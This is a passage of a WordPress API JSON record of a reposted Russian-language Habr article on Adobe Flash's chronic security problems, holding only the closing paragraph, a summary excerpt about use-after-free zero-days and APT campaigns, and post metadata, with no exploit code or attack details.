\u0443\u0437\u043a\u043e\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. <\/p>\n<p>  \u041c\u043e\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u2013 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f Flash \u0438\u0437-\u0437\u0430 \u0445\u0440\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0442\u0435\u0441\u043d\u0435\u043d\u0430 \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c, \u0438 \u0441 \u0434\u0435\u0441\u043a\u0442\u043e\u043f\u043e\u0432, \u0447\u0442\u043e \u0431\u044b \u043e\u0431 \u044d\u0442\u043e\u043c \u043d\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0438 \u0432 Adobe. Youtube \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 HTML5, \u0412 Mozilla \u0443\u0436\u0435 \u0443\u0434\u0430\u043b\u0438\u043b\u0438 Flash \u0438\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 Firefox. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0438\u0433\u0440\u043e\u043a\u0430\u043c\u0438 \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u2013 \u043d\u0438\u043a\u043e\u043c\u0443 \u043d\u0435 \u0432\u044b\u0433\u043e\u0434\u043d\u043e \u043f\u043e\u043d\u0438\u0436\u0430\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u0430\u043c\u0438. \u0422\u0430\u043a \u0447\u0442\u043e, Flash, \u0434\u0430\u0432\u0430\u0439, \u0434\u043e \u0441\u0432\u0438\u0434\u0430\u043d\u0438\u044f!               <\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/279051\/\"> https:\/\/habrahabr.ru\/post\/279051\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>       <img decoding=\"async\" align=\"left\" src=\"https:\/\/habrastorage.org\/files\/f37\/c2c\/2ab\/f37c2c2aba18403fb4e7b33cf6ce6729.png\"\/> \u041f\u043e\u043a\u0430 \u0435\u0449\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Flash Player \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Adobe \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u0432\u043e\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0420\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e Flash, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0432 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445. 2015 \u0433\u043e\u0434 \u0432\u044b\u0434\u0430\u043b\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0443\u0440\u043e\u0436\u0430\u0439\u043d\u044b\u043c \u043d\u0430 \u0442\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0411\u043e\u043b\u044c\u0448\u0430\u044f \u0434\u043e\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u044b\u043b\u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0441 \u043f\u0430\u043c\u044f\u0442\u044c\u044e: \u0431\u044b\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c \u0432 \u043a\u0443\u0447\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Flash.<\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043f\u043e\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c Adobe Flash \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0435\u0433\u043e \u00ab\u0434\u044b\u0440\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb \u2014 \u0445\u0440\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0438 \u0440\u0435\u0448\u0438\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435 \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0441 \u043d\u0443\u043b\u044f, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0442\u0430\u0432\u044f\u0442 \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0443 \u043d\u0430 \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0443, \u0447\u0442\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0410 \u0435\u0449\u0435 \u043c\u044b \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043d\u0430\u043c\u0438 \u0438 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438!  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-276585","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/276585","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=276585"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/276585\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=276585"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=276585"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=276585"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}